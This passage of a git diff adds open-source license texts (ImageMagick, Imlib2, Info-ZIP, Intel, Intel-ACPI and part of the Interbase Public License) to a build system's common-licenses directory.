+Contribution shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as Not a Contribution.
+
+Contributor shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ a. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+ b. You must cause any modified files to carry prominent notices stating that You changed the files; and
+ c. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+ d. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
+
+You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+How to Apply the License to your Work
+
+To apply the ImageMagick License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information (don't include the brackets). The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the ImageMagick License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+ http://www.imagemagick.org/script/license.php
+
+ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/Imlib2 b/meta/files/common-licenses/Imlib2
new file mode 100644
index 0000000000..9f9dfd2126
--- /dev/null
+++ b/meta/files/common-licenses/Imlib2
@@ -0,0 +1,9 @@
+Imlib2 License
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. Making the source available publicly means including the source for this software with the distribution, or a method to get this software via some reasonable mechanism (electronic transfer via a network or media) as well as making an offer to supply the source on request. This Copyright notice serves as an offer to supply the source on on request as well. Instead of this, supplying acknowledgments of use of this software in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING-PLAIN for a plain-english explanation of this notice and its intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Info-ZIP b/meta/files/common-licenses/Info-ZIP
new file mode 100644
index 0000000000..9067701bbb
--- /dev/null
+++ b/meta/files/common-licenses/Info-ZIP
@@ -0,0 +1,16 @@
+Info-ZIP License
+
+Copyright (c) 1990-2009 Info-ZIP. All rights reserved.
+
+For the purposes of this copyright and license, "Info-ZIP" is defined as the following set of individuals:
+
+ Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, Rich Wales, Mike White.
+
+This software is provided "as is," without warranty of any kind, express or implied. In no event shall Info-ZIP or its contributors be held liable for any direct, indirect, incidental, special or consequential damages arising out of the use of or inability to use this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the above disclaimer and the following restrictions:
+
+ * Redistributions of source code (in whole or in part) must retain the above copyright notice, definition, disclaimer, and this list of conditions.
+ * Redistributions in binary form (compiled executables and libraries) must reproduce the above copyright notice, definition, disclaimer, and this list of conditions in documentation and/or other materials provided with the distribution. Additional documentation is not needed for executables where a command line license option provides these and a note regarding this option is in the executable's startup banner. The sole exception to this condition is redistribution of a standard UnZipSFX binary (including SFXWiz) as part of a self-extracting archive; that is permitted without inclusion of this license, as long as the normal SFX banner has not been removed from the binary or disabled.
+ * Altered versions--including, but not limited to, ports to new operating systems, existing ports with new graphical interfaces, versions with modified or added functionality, and dynamic, shared, or static library versions not from Info-ZIP--must be plainly marked as such and must not be misrepresented as being the original source or, if binaries, compiled from the original source. Such altered versions also must not be misrepresented as being Info-ZIP releases--including, but not limited to, labeling of the altered versions with the names "Info-ZIP" (or any variation thereof, including, but not limited to, different capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the explicit permission of Info-ZIP. Such altered versions are further prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP will provide support for the altered versions.
+ * Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and binary releases.
diff --git a/meta/files/common-licenses/Intel b/meta/files/common-licenses/Intel
new file mode 100644
index 0000000000..29ddf57a8c
--- /dev/null
+++ b/meta/files/common-licenses/Intel
@@ -0,0 +1,105 @@
+1. Copyright Notice
+
+Some or all of this work - Copyright (c) 1999 - 2017, Intel Corp.
+All rights reserved.
+
+2. License
+
+2.1. This is your license from Intel Corp. under its intellectual property
+rights. You may have additional license terms from the party that provided
+you this software, covering your right to use that party's intellectual
+property rights.
+
+2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a
+copy of the source code appearing in this file ("Covered Code") an
+irrevocable, perpetual, worldwide license under Intel's copyrights in the
+base code distributed originally by Intel ("Original Intel Code") to copy,
+make derivatives, distribute, use and display any portion of the Covered
+Code in any form, with the right to sublicense such rights; and
+
+2.3. Intel grants Licensee a non-exclusive and non-transferable patent
+license (with the right to sublicense), under only those claims of Intel
+patents that are infringed by the Original Intel Code, to make, use, sell,
+offer to sell, and import the Covered Code and derivative works thereof
+solely to the minimum extent necessary to exercise the above copyright
+license, and in no event shall the patent license extend to any additions
+to or modifications of the Original Intel Code. No other license or right
+is granted directly or by implication, estoppel or otherwise;
+
+The above copyright and patent license is granted only if the following
+conditions are met:
+
+3. Conditions
+
+3.1. Redistribution of Source with Rights to Further Distribute Source.
+Redistribution of source code of any substantial portion of the Covered
+Code or modification with rights to further distribute source must include
+the above Copyright Notice, the above License, this list of Conditions,
+and the following Disclaimer and Export Compliance provision. In addition,
+Licensee must cause all Covered Code to which Licensee contributes to
+contain a file documenting the changes Licensee made to create that Covered
+Code and the date of any change. Licensee must include in that file the
+documentation of any changes made by any predecessor Licensee. Licensee
+must include a prominent statement that the modification is derived,
+directly or indirectly, from Original Intel Code.
+
+3.2. Redistribution of Source with no Rights to Further Distribute Source.
+Redistribution of source code of any substantial portion of the Covered
+Code or modification without rights to further distribute source must
+include the following Disclaimer and Export Compliance provision in the
+documentation and/or other materials provided with distribution. In
+addition, Licensee may not authorize further sublicense of source of any
+portion of the Covered Code, and must include terms to the effect that the
+license from Licensee to its licensee is limited to the intellectual
+property embodied in the software Licensee provides to its licensee, and
+not to intellectual property embodied in modifications its licensee may
+make.
+
+3.3. Redistribution of Executable. Redistribution in executable form of any
+substantial portion of the Covered Code or modification must reproduce the
+above Copyright Notice, and the following Disclaimer and Export Compliance
+provision in the documentation and/or other materials provided with the
+distribution.
+
+3.4. Intel retains all right, title, and interest in and to the Original
+Intel Code.
+
+3.5. Neither the name Intel nor any other trademark owned or controlled by
+Intel shall be used in advertising or otherwise to promote the sale, use or
+other dealings in products derived from or relating to the Covered Code
+without prior written authorization from Intel.
+
+4. Disclaimer and Export Compliance
+
+4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED
+HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE
+IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE,
+INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY
+UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY
+IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A
+PARTICULAR PURPOSE.
+
+4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES
+OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR
+COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT,
+SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY
+CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL
+HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS
+SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY
+LIMITED REMEDY.
+
+4.3. Licensee shall not export, either directly or indirectly, any of this
+software or system incorporating such software without first obtaining any
+required license or other approval from the U. S. Department of Commerce or
+any other agency or department of the United States Government. In the
+event Licensee exports any such software from the United States or
+re-exports any such software from a foreign destination, Licensee shall
+ensure that the distribution and export/re-export of the software is in
+compliance with all laws, regulations, orders, or other restrictions of the
+U.S. Export Administration Regulations. Licensee agrees that neither it nor
+any of its subsidiaries will export/re-export any technical data, process,
+software, or service, directly or indirectly, to any country for which the
+United States government or any agency thereof requires an export license,
+other governmental approval, or letter of assurance, without first obtaining
+such license, approval or letter.
+
diff --git a/meta/files/common-licenses/Intel-ACPI b/meta/files/common-licenses/Intel-ACPI
new file mode 100644
index 0000000000..e5cc5fd190
--- /dev/null
+++ b/meta/files/common-licenses/Intel-ACPI
@@ -0,0 +1,34 @@
+ACPI - Software License Agreement
+Software License Agreement IMPORTANT - READ BEFORE COPYING, INSTALLING OR USING.
+
+Do not use or load this software and any associated materials (collectively, the "Software") until you have carefully read the following terms and conditions. By loading or using the Software, you agree to the terms of this Agreement. If you do not wish to so agree, do not install or use the Software.
+
+1. COPYRIGHT NOTICE Some or all of this work - Copyright © 1999-2005, Intel Corp. All rights reserved.
+
+2. LICENSE
+
+ 2.1. This is your license from Intel Corp. under its intellectual property rights. You may have additional license terms from the party that provided you this software, covering your right to use that party's intellectual property rights.
+
+ 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a copy of the source code appearing in this file ("Covered Code") an irrevocable, perpetual, worldwide license under Intel's copyrights in the base code distributed originally by Intel ("Original Intel Code") to copy, make derivatives, distribute, use and display any portion of the Covered Code in any form, with the right to sublicense such rights; and
+
+ 2.3. Intel grants Licensee a non-exclusive and non-transferable patent license (with the right to sublicense), under only those claims of Intel patents that are infringed by the Original Intel Code, to make, use, sell, offer to sell, and import the Covered Code and derivative works thereof solely to the minimum extent necessary to exercise the above copyright license, and in no event shall the patent license extend to any additions to or modifications of the Original Intel Code. No other license or right is granted directly or by implication, estoppel or otherwise; The above copyright and patent license is granted only if the following conditions are met:
+
+3. CONDITIONS
+
+ 3.1. Redistribution of Source with Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification with rights to further distribute source must include the above Copyright Notice, the above License, this list of Conditions, and the following Disclaimer and Export Compliance provision. In addition, Licensee must cause all Covered Code to which Licensee contributes to contain a file documenting the changes Licensee made to create that Covered Code and the date of any change. Licensee must include in that file the documentation of any changes made by any predecessor Licensee. Licensee must include a prominent statement that the modification is derived, directly or indirectly, from Original Intel Code.
+
+ 3.2. Redistribution of Source with no Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification without rights to further distribute source must include the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with distribution. In addition, Licensee may not authorize further sublicense of source of any portion of the Covered Code, and must include terms to the effect that the license from Licensee to its licensee is limited to the intellectual property embodied in the software Licensee provides to its licensee, and not to intellectual property embodied in modifications its licensee may make.
+
+ 3.3. Redistribution of Executable. Redistribution in executable form of any substantial portion of the Covered Code or modification must reproduce the above Copyright Notice, and the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with the distribution.
+
+ 3.4. Intel retains all right, title, and interest in and to the Original Intel Code.
+
+ 3.5. Neither the name Intel nor any other trademark owned or controlled by Intel shall be used in advertising or otherwise to promote the sale, use or other dealings in products derived from or relating to the Covered Code without prior written authorization from Intel.
+
+4. DISCLAIMER AND EXPORT COMPLIANCE
+
+ 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
+
+ 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY LIMITED REMEDY.
+
+ 4.3. Licensee shall not export, either directly or indirectly, any of this software or system incorporating such software without first obtaining any required license or other approval from the U. S. Department of Commerce or any other agency or department of the United States Government. In the event Licensee exports any such software from the United States or re-exports any such software from a foreign destination, Licensee shall ensure that the distribution and export/re-export of the software is in compliance with all laws, regulations, orders, or other restrictions of the U.S. Export Administration Regulations. Licensee agrees that neither it nor any of its subsidiaries will export/re-export any technical data, process, software, or service, directly or indirectly, to any country for which the United States government or any agency thereof requires an export license, other governmental approval, or letter of assurance, without first obtaining such license, approval or letter.
diff --git a/meta/files/common-licenses/Interbase-1.0 b/meta/files/common-licenses/Interbase-1.0
new file mode 100644
index 0000000000..5a73f24c31
--- /dev/null
+++ b/meta/files/common-licenses/Interbase-1.0
@@ -0,0 +1,199 @@
+INTERBASE PUBLIC LICENSE
+Version 1.0
+
+1. Definitions.
+
+1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.1. ''Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+1.2. ''Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.3. ''Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.4. ''Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.5. ''Executable'' means Covered Code in any form other than Source Code.
+
+1.6. ''Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.7. ''Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.8. ''License'' means this document.
+
+1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. ''Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.10. ''Original Code'' means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.11. ''Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.12. "You'' (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+2.1. The Initial Developer Grant.
+
+The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2. Contributor Grant.
+
+Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Application of License.
+
+The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2. Availability of Source Code.
+
+Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+3.3. Description of Modifications.
+
+You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+
+ (c) Representations.
+
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5. Required Notices.
+
+You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6. Distribution of Executable Versions.
+
+You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7. Larger Works.
+
+You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1. New Versions.
+
+Borland Software Corporation (''Interbase'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2. Effect of New Versions.
+
+Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Interbase. No one other than Interbase has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3. Derivative Works.
+
+If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases ''Mozilla'', ''MOZILLAPL'', ''MOZPL'', ''Netscape'', "MPL", ''NPL", "Interbase", "ISC", "IB'' or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+6.4 Origin of the Interbase Public License.
+
+The Interbase public license is based on the Mozilla Public License V 1.1 with the following changes:
+
+The license is published by Borland Software Corporation. Only Borland Software Corporation can modify the terms applicable to Covered Code.
+The license can be modified used for code which is not already governed by this license. Modified versions of the license must be renamed to avoid confusion with Netscape?s or Interbase Software?s license and must include a description of changes from the Interbase Public License.
+The name of the license in Exhibit A is the "Interbase Public License".
+The reference to an alternative license in Exhibit A has been removed.
+Amendments I, II, III, V, and VI have been deleted.
+Exhibit A, Netscape Public License has been deleted
+A new amendment (II) has been added, describing the required and restricted rights to use the trademarks of Borland Software Corporation
+7. DISCLAIMER OF WARRANTY.
+
